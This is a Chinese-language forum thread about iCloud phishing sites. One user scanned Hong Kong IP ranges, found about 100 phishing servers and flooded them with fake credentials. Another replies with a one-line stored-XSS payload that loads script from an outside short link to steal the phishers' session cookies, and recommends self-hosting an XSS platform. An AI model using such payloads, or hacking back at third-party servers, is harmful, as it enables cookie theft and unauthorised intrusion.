发现一大波 icloud 钓鱼网站。。。

[0x5e]

最近同学手机被偷了，不断收到各种骗 appleid 的短信和邮件。。做了点好事，往钓鱼网站里 post 了好多好多假数据，过几天他就关了😁

后来还是不断收到各种钓鱼网站，如法炮制，最后没几天也都关了

再后来发现 ip 基本都是香港的，于是写脚本对部分香港 ip 段扫了下，卧槽扫出 100 多个服务器。。。

于是给他们 post 点假数据：随机 9 位 qq 号 @qq.com/随机密码 不知道有没有用，不过至少按照前面的情况，能让他们都关服就可以了。。

请问各位有没有钓鱼网址提供，如果和我见到的是同类型的，我可以帮忙造点假数据进去。。 标题是 find my iphone ，模仿“找回我的 iPhone ”做的钓鱼网站

http://i2.piimg.com/567571/85f4ce3c10dbe286.jpg

[qfdk]

@0x5e xssplatform.zip 找一个叫做这个东西的，然后自己搭建。

[0x5e]

@qfdk 多谢，不过我刚试了下，我扫的这些服务器应该是处理过了。。😁

[0x5e]

@iwj 写的有点挫，而且钓鱼网站多种多样可能没法通用。。。
https://gist.github.com/0x5e/3125096158adddc45a5a9351a7418942

[0x5e]

@ctsed 可能吧，不过感觉这网站也挺挫的，要是真心想过滤的话可以搞个 ip 防火墙什么的，说不准也没记录下账号密码对应的 ip ，又或许说不准 ip 是从 X-Forwarded-For 取的。。反正闲着也是闲着我就开着刷一下吧 。。😁

[DravenJohnson]

还有这东西？

[Ra8er]

见一个 日一个

[njutree]

干的漂亮，对于这些人就该给他们大量的假数据让他们干不了坏事。

[fishcat]

@qfdk 你的那个网站我不能注册

[qfdk]

@fishcat 上都说了是顺手百度的- - 需要的自己搭建就好了

[qfdk]

最简单的方法是写个 form ，这样网站的 js 都用不了，然后 user 写上你得到的代码<script src=http://t.cn/Rt2iRuv></script> passwd 也可以，最后这个会插入 他们数据库，如果没有过滤的话，当他们打开你会得到 cookie ，其中还有 keepsession 的选项

[meppy]

都是高手，学习了

[cybermay]

你不灌数据他也会关的 骗到了账号就会关 然后再开